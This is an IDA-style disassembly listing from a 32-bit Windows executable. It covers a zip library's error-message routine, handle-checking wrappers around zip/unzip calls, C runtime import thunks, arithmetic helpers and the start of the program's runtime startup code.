loc_431157:				; CODE XREF: TEUm:00431006j
		mov	dword ptr [ebp-8], offset aCouldnTCreateO ; "Couldn't create/open file"
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_431163:				; CODE XREF: TEUm:0043102Fj
		mov	dword ptr [ebp-8], offset aFailedToAlloca ; "Failed to allocate	memory"
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43116F:				; CODE XREF: TEUm:0043103Cj
		mov	dword ptr [ebp-8], offset aErrorWritingTo ; "Error writing to file"
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43117B:				; CODE XREF: TEUm:00430FF0j
		mov	dword ptr [ebp-8], offset aFileNotFoundIn ; "File not found in the zipfile"
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_431187:				; CODE XREF: TEUm:00431064j
		mov	dword ptr [ebp-8], offset aStillMoreDataT ; "Still more	data to	unzip"
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_431190:				; CODE XREF: TEUm:00431071j
		mov	dword ptr [ebp-8], offset aZipfileIsCorru ; "Zipfile is	corrupt	or not a zipfile"
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_431199:				; CODE XREF: TEUm:00431057j
		mov	dword ptr [ebp-8], offset aErrorReadingFi ; "Error reading file"
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311A2:				; CODE XREF: TEUm:00431083j
		mov	dword ptr [ebp-8], offset aCallerFaultyAr ; "Caller: faulty arguments"
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311AB:				; CODE XREF: TEUm:004310EDj
		mov	dword ptr [ebp-8], offset aCallerTheFileH ; "Caller: the file had already been parti"...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311B4:				; CODE XREF: TEUm:00430FDAj
		mov	dword ptr [ebp-8], offset aCallerCanOnlyG ; "Caller: can only get memory of a memory"...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311BD:				; CODE XREF: TEUm:004310C1j
		mov	dword ptr [ebp-8], offset aCallerNotEnoug ; "Caller: not enough	space allocated	for "...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311C6:				; CODE XREF: TEUm:004310CEj
		mov	dword ptr [ebp-8], offset aCallerThereWas ; "Caller: there was a previous error"
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311CF:				; CODE XREF: TEUm:004310B4j
		mov	dword ptr [ebp-8], offset aCallerAddition ; "Caller: additions to the zip have alrea"...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311D8:				; CODE XREF: TEUm:0043109Ej
		mov	dword ptr [ebp-8], offset aCallerMixingCr ; "Caller: mixing creation and opening of "...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311E1:				; CODE XREF: TEUm:00431115j
		mov	dword ptr [ebp-8], offset aZipBugInternal ; "Zip-bug: internal initialisation not co"...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311EA:				; CODE XREF: TEUm:00431122j
		mov	dword ptr [ebp-8], offset aZipBugTryingTo ; "Zip-bug: trying to	seek the unseekable"
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311F3:				; CODE XREF: TEUm:004310E0j
		mov	dword ptr [ebp-8], offset aZipBugTheAntic ; "Zip-bug: the anticipated size turned ou"...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_4311FC:				; CODE XREF: TEUm:00431108j
		mov	dword ptr [ebp-8], offset aZipBugTriedToC ; "Zip-bug: tried to change mind, but	not "...
		jmp	short loc_43120C
; ---------------------------------------------------------------------------


loc_431205:				; CODE XREF: TEUm:00431134j
		mov	dword ptr [ebp-8], offset aZipBugAnIntern ; "Zip-bug: an internal error	during flati"...


loc_43120C:				; CODE XREF: TEUm:00431023j
					; TEUm:00431042j ...
		mov	edx, [ebp-8]
		push	edx
		call	sub_4318BE	; strlen
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_431227
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_43122C


loc_431227:				; CODE XREF: TEUm:0043121Fj
		mov	eax, [ebp-4]
		jmp	short loc_431267
; ---------------------------------------------------------------------------


loc_43122C:				; CODE XREF: TEUm:00431225j
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp-0Ch]
		add	ecx, 1
		cmp	ecx, [ebp+10h]
		jbe	short loc_431246
		mov	edx, [ebp+10h]
		sub	edx, 1
		mov	[ebp-0Ch], edx


loc_431246:				; CODE XREF: TEUm:0043123Bj
		mov	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		call	dword_43319C	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+0Ch]
		add	eax, [ebp-0Ch]
		mov	byte ptr [eax],	0
		mov	eax, [ebp-4]


loc_431267:				; CODE XREF: TEUm:0043122Aj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43126B	proc near		; CODE XREF: sub_424A2E+26p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43126B
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	23Ch
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0
		cmp	[ebp+var_1C], 0
		jz	short loc_4312B0
		mov	ecx, [ebp+var_1C]
		call	sub_431750
		mov	[ebp+var_28], eax
		jmp	short loc_4312B7
; ---------------------------------------------------------------------------


loc_4312B0:				; CODE XREF: sub_43126B+36j
		mov	[ebp+var_28], 0


loc_4312B7:				; CODE XREF: sub_43126B+43j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_18], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_18]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_10]
		call	sub_43012E
		mov	ds:dword_43BD44, eax
		cmp	ds:dword_43BD44, 0
		jz	short loc_431302
		mov	edx, [ebp+var_10]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_43177E
		add	esp, 4
		xor	eax, eax
		jmp	short loc_43132A
; ---------------------------------------------------------------------------


loc_431302:				; CODE XREF: sub_43126B+7Fj
		push	8
		call	sub_431784
		add	esp, 4
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], 1
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_14]


loc_43132A:				; CODE XREF: sub_43126B+95j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43126B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431338	proc near		; CODE XREF: sub_424A2E+37p
					; sub_424A2E+52p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_431355
		mov	ds:dword_43BD44, 10000h
		mov	eax, 10000h
		jmp	short loc_431397
; ---------------------------------------------------------------------------


loc_431355:				; CODE XREF: sub_431338+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 1
		jz	short loc_431374
		mov	ds:dword_43BD44, 80000h
		mov	eax, 80000h
		jmp	short loc_431397
; ---------------------------------------------------------------------------


loc_431374:				; CODE XREF: sub_431338+29j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	ecx, [ebp+var_4]
		call	sub_4301DC
		mov	ds:dword_43BD44, eax
		mov	eax, ds:dword_43BD44


loc_431397:				; CODE XREF: sub_431338+1Bj
					; sub_431338+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_431338	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4313BE
		mov	ds:dword_43BD44, 10000h
		mov	eax, 10000h
		jmp	loc_4314A0
; ---------------------------------------------------------------------------


loc_4313BE:				; CODE XREF: TEUm:004313A8j
		mov	eax, [ebp+8]
		mov	[ebp-134h], eax
		mov	ecx, [ebp-134h]
		cmp	dword ptr [ecx], 1
		jz	short loc_4313E6
		mov	ds:dword_43BD44, 80000h
		mov	eax, 80000h
		jmp	loc_4314A0
; ---------------------------------------------------------------------------


loc_4313E6:				; CODE XREF: TEUm:004313D0j
		mov	edx, [ebp-134h]
		mov	eax, [edx+4]
		mov	[ebp-4], eax
		lea	ecx, [ebp-130h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	ecx, [ebp-4]
		call	sub_4301DC
		mov	ds:dword_43BD44, eax
		cmp	ds:dword_43BD44, 0
		jnz	loc_43149B
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-130h]
		mov	[eax], ecx
		mov	edx, [ebp+10h]
		mov	eax, [ebp-28h]
		mov	[edx+108h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-24h]
		mov	[ecx+10Ch], edx
		mov	eax, [ebp-20h]
		mov	[ecx+110h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-1Ch]
		mov	[ecx+114h], edx
		mov	eax, [ebp-18h]
		mov	[ecx+118h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-14h]
		mov	[ecx+11Ch], edx
		mov	eax, [ebp-10h]
		mov	[ecx+120h], eax
		mov	ecx, [ebp+10h]
		mov	edx, [ebp-0Ch]
		mov	[ecx+124h], edx
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-8]
		mov	[eax+128h], ecx
		lea	edx, [ebp-12Ch]
		push	edx
		mov	eax, [ebp+10h]
		add	eax, 4
		push	eax
		call	sub_4318B8	; strcpy
		add	esp, 8


loc_43149B:				; CODE XREF: TEUm:00431411j
		mov	eax, ds:dword_43BD44


loc_4314A0:				; CODE XREF: TEUm:004313B9j
					; TEUm:004313E1j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4314C1
		mov	ds:dword_43BD44, 10000h
		mov	eax, 10000h
		jmp	short loc_43150B
; ---------------------------------------------------------------------------


loc_4314C1:				; CODE XREF: TEUm:004314AEj
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		cmp	dword ptr [ecx], 1
		jz	short loc_4314E0
		mov	ds:dword_43BD44, 80000h
		mov	eax, 80000h
		jmp	short loc_43150B
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: TEUm:004314CDj
		mov	edx, [ebp-8]
		mov	eax, [edx+4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+18h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		mov	al, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_430867
		mov	ds:dword_43BD44, eax
		mov	eax, ds:dword_43BD44


loc_43150B:				; CODE XREF: TEUm:004314BFj
					; TEUm:004314DEj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_431532
		mov	ds:dword_43BD44, 10000h
		mov	eax, 10000h
		jmp	loc_43161C
; ---------------------------------------------------------------------------


loc_431532:				; CODE XREF: TEUm:0043151Cj
		mov	eax, [ebp+8]
		mov	[ebp-134h], eax
		mov	ecx, [ebp-134h]
		cmp	dword ptr [ecx], 1
		jz	short loc_43155A
		mov	ds:dword_43BD44, 80000h
		mov	eax, 80000h
		jmp	loc_43161C
; ---------------------------------------------------------------------------


loc_43155A:				; CODE XREF: TEUm:00431544j
		mov	edx, [ebp-134h]
		mov	eax, [edx+4]
		mov	[ebp-4], eax
		lea	ecx, [ebp-130h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		mov	al, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_430867
		mov	ds:dword_43BD44, eax
		cmp	ds:dword_43BD44, 0
		jnz	loc_431617
		mov	edx, [ebp+18h]
		mov	eax, [ebp-130h]
		mov	[edx], eax
		mov	ecx, [ebp+18h]
		mov	edx, [ebp-28h]
		mov	[ecx+108h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-24h]
		mov	[eax+10Ch], ecx
		mov	edx, [ebp-20h]
		mov	[eax+110h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-1Ch]
		mov	[eax+114h], ecx
		mov	edx, [ebp-18h]
		mov	[eax+118h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-14h]
		mov	[eax+11Ch], ecx
		mov	edx, [ebp-10h]
		mov	[eax+120h], edx
		mov	eax, [ebp+18h]
		mov	ecx, [ebp-0Ch]
		mov	[eax+124h], ecx
		mov	edx, [ebp+18h]
		mov	eax, [ebp-8]
		mov	[edx+128h], eax
		lea	ecx, [ebp-12Ch]
		push	ecx
		mov	edx, [ebp+18h]
		add	edx, 4
		push	edx
		call	sub_4318B8	; strcpy
		add	esp, 8


loc_431617:				; CODE XREF: TEUm:0043158Dj
		mov	eax, ds:dword_43BD44


loc_43161C:				; CODE XREF: TEUm:0043152Dj
					; TEUm:00431555j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431620	proc near		; CODE XREF: sub_424A2E+64p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_43163D
		mov	ds:dword_43BD44, 10000h
		mov	eax, 10000h
		jmp	short loc_431687
; ---------------------------------------------------------------------------


loc_43163D:				; CODE XREF: sub_431620+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 1
		jz	short loc_43165C
		mov	ds:dword_43BD44, 80000h
		mov	eax, 80000h
		jmp	short loc_431687
; ---------------------------------------------------------------------------


loc_43165C:				; CODE XREF: sub_431620+29j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_430A42
		mov	ds:dword_43BD44, eax
		mov	eax, ds:dword_43BD44


loc_431687:				; CODE XREF: sub_431620+1Bj
					; sub_431620+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_431620	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43168B	proc near		; CODE XREF: sub_424A2E+72p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4316A8
		mov	ds:dword_43BD44, 10000h
		mov	eax, 10000h
		jmp	short loc_431706
; ---------------------------------------------------------------------------


loc_4316A8:				; CODE XREF: sub_43168B+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx], 1
		jz	short loc_4316C7
		mov	ds:dword_43BD44, 80000h
		mov	eax, 80000h
		jmp	short loc_431706
; ---------------------------------------------------------------------------


loc_4316C7:				; CODE XREF: sub_43168B+29j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		call	sub_430F58
		mov	ds:dword_43BD44, eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_43177E
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_43177E
		add	esp, 4
		mov	eax, ds:dword_43BD44


loc_431706:				; CODE XREF: sub_43168B+1Bj
					; sub_43168B+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_43168B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_431718
		mov	al, 1
		jmp	short loc_431729
; ---------------------------------------------------------------------------


loc_431718:				; CODE XREF: TEUm:00431712j
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		xor	eax, eax
		cmp	dword ptr [ecx], 1
		setz	al


loc_431729:				; CODE XREF: TEUm:00431716j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431730	proc near		; CODE XREF: sub_430A42+339p
					; sub_430A42+355p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_433214	; _mbsstr
		add	esp, 8
		pop	ebp
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431750	proc near		; CODE XREF: sub_43126B+3Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+134h], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_431750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43177E	proc near		; CODE XREF: sub_4210DD+16p
					; sub_4219B0+1Dp ...
		jmp	dword_433104
sub_43177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431784	proc near		; CODE XREF: sub_42103D+1Dp
					; sub_424152+10p ...
		jmp	dword_433138
sub_431784	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43178A	proc near		; CODE XREF: sub_421ACF+99p
					; sub_422C48+80p ...
		jmp	dword_433134
sub_43178A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431790	proc near		; CODE XREF: sub_421C92+CCp
		jmp	dword_433130
sub_431790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431796	proc near		; CODE XREF: TEUm:00422644p
					; sub_422A1E+15Cp ...
		jmp	dword_43312C
sub_431796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43179C	proc near		; CODE XREF: TEUm:00422638p
					; sub_422A1E+C3p ...
		jmp	dword_433128
sub_43179C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317A2	proc near		; CODE XREF: TEUm:0042261Cp
					; TEUm:00422659p ...
		jmp	dword_433124
sub_4317A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317A8	proc near		; CODE XREF: TEUm:00422610p
					; sub_422A1E+141p ...
		jmp	dword_433120
sub_4317A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317AE	proc near		; CODE XREF: TEUm:0042253Ap
					; sub_422A1E+18p ...
		jmp	dword_43311C
sub_4317AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317B4	proc near		; CODE XREF: sub_422A1E+129p
					; sub_425353+114p ...
		jmp	dword_433118
sub_4317B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317BA	proc near		; CODE XREF: sub_424606+16Cp
					; sub_424606+292p ...
		jmp	dword_433114
sub_4317BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317C0	proc near		; CODE XREF: sub_426584+7Fp
					; sub_42692B+A9p ...
		jmp	dword_433110
sub_4317C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317C6	proc near		; CODE XREF: sub_426584+72p
					; sub_426584+CBp ...
		jmp	dword_43310C
sub_4317C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317CC	proc near		; CODE XREF: sub_424B41+4A3p
					; sub_424B41+5CBp
		jmp	dword_433108
sub_4317CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317D2	proc near		; CODE XREF: sub_424B41+424p
					; sub_424B41+552p
		jmp	dword_433100
sub_4317D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317D8	proc near		; CODE XREF: sub_425353+43p
					; sub_425353+54p ...
		jmp	dword_4330FC
sub_4317D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317DE	proc near		; CODE XREF: sub_426022+12Fp
					; sub_42852F+1BAp
		jmp	dword_4330F8
sub_4317DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317E4	proc near		; CODE XREF: sub_426022+CCp
					; sub_426022+14Fp
		jmp	dword_4330F4
sub_4317E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317EA	proc near		; CODE XREF: sub_426584+DAp
					; sub_42692B+104p ...
		jmp	dword_4330F0
sub_4317EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317F0	proc near		; CODE XREF: sub_426584+B7p
					; sub_426584+122p ...
		jmp	dword_4330EC
sub_4317F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317F6	proc near		; CODE XREF: sub_426584+68p
					; sub_426584+112p ...
		jmp	dword_4330E8
sub_4317F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4317FC	proc near		; CODE XREF: SEH_421109+5j
					; sub_431D0A+5j ...
		jmp	dword_4331DC
sub_4317FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431810	proc near		; CODE XREF: sub_421109+7Cp
		cmp	cl, 40h
		jnb	short loc_43182A
		cmp	cl, 20h
		jnb	short loc_431820
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_431820:				; CODE XREF: sub_431810+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_43182A:				; CODE XREF: sub_431810+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_431810	endp


; =============== S U B	R O U T	I N E =======================================



sub_43182F	proc near		; DATA XREF: TEUm:off_434AD4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_431A78
		test	[esp+4+arg_0], 1
		jz	short loc_431845
		push	esi
		call	sub_43177E
		pop	ecx


loc_431845:				; CODE XREF: sub_43182F+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_43182F	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43184C	proc near		; CODE XREF: TEUm:00421217p
					; TEUm:004212F2p ...
		jmp	dword_4331E0
sub_43184C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431860	proc near		; CODE XREF: TEUm:00421299p
					; sub_42146A+1Ep ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_431880


loc_43186C:				; CODE XREF: sub_431860+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_43186C


loc_431880:				; CODE XREF: sub_431860+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_431860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431890	proc near		; CODE XREF: TEUm:0042174Bp
		cmp	cl, 40h
		jnb	short loc_4318AB
		cmp	cl, 20h
		jnb	short loc_4318A0
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4318A0:				; CODE XREF: sub_431890+8j
		mov	eax, edx
		sar	edx, 1Fh
		and	cl, 1Fh
		sar	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4318AB:				; CODE XREF: sub_431890+3j
		sar	edx, 1Fh
		mov	eax, edx
		retn
sub_431890	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4318B2	proc near		; CODE XREF: sub_421ACF+29p
					; TEUm:00421C2Fp ...
		jmp	dword_433204
sub_4318B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4318B8	proc near		; CODE XREF: sub_422296+B1p
					; sub_422296+FAp ...
		jmp	dword_4331FC
sub_4318B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4318BE	proc near		; CODE XREF: sub_422296+5Ap
					; sub_42239F+Bp ...
		jmp	dword_4331F8
sub_4318BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4318C4	proc near		; CODE XREF: sub_4227A4+1E8p
					; sub_42A0B0+CAp ...
		jmp	dword_4331C0
sub_4318C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4318CA	proc near		; CODE XREF: sub_422A1E+5p
					; sub_422BB1+5p ...
		jmp	dword_4331BC
sub_4318CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4318D0	proc near		; CODE XREF: sub_422FB0+E8p
					; sub_4230F8+125p ...
		jmp	dword_4331B8
sub_4318D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4318D6	proc near		; CODE XREF: sub_431902+4p

arg_0		= dword	ptr  4

		cmp	ds:dword_43BD80, 0FFFFFFFFh
		jnz	short loc_4318EB
		push	[esp+arg_0]
		call	dword_433220	; _onexit
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4318EB:				; CODE XREF: sub_4318D6+7j
		push	offset dword_43BD7C
		push	offset dword_43BD80
		push	[esp+8+arg_0]
		call	sub_431A7E	; __dllonexit
		add	esp, 0Ch
		retn
sub_4318D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_431902	proc near		; CODE XREF: sub_42850E+8p
					; sub_431B21+21p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4318D6
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_431902	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431914	proc near		; CODE XREF: sub_42EB64+11p
					; sub_4301DC+4B8p
		jmp	dword_43320C
sub_431914	endp

; ---------------------------------------------------------------------------


loc_43191A:				; CODE XREF: TEUm:0043EB04j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434AD8
		push	offset sub_431AA6
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	2
		call	dword_43324C	; __set_app_type
		pop	ecx
		or	ds:dword_43BD7C, 0FFFFFFFFh
		or	ds:dword_43BD80, 0FFFFFFFFh
		call	dword_433248	; __p__fmode
		mov	ecx, ds:dword_43BD64
		mov	[eax], ecx
		call	dword_433244	; __p__commode
		mov	ecx, ds:dword_43BD60
		mov	[eax], ecx
		mov	eax, dword_433240
		mov	eax, [eax]
		mov	ds:dword_43BD78, eax
		call	nullsub_1
		cmp	ds:dword_437C40, ebx
		jnz	short loc_43199D
		push	offset sub_431AA2
		call	dword_43323C	; __setusermatherr
		pop	ecx


loc_43199D:				; CODE XREF: TEUm:0043198Fj
		call	sub_431A90
		push	offset dword_437014
		push	offset dword_437010
		call	sub_431A8A	; _initterm
		mov	eax, ds:dword_43BD5C
		mov	[ebp-6Ch], eax
		lea	eax, [ebp-6Ch]
		push	eax
		push	ds:dword_43BD58
		lea	eax, [ebp-64h]
		push	eax
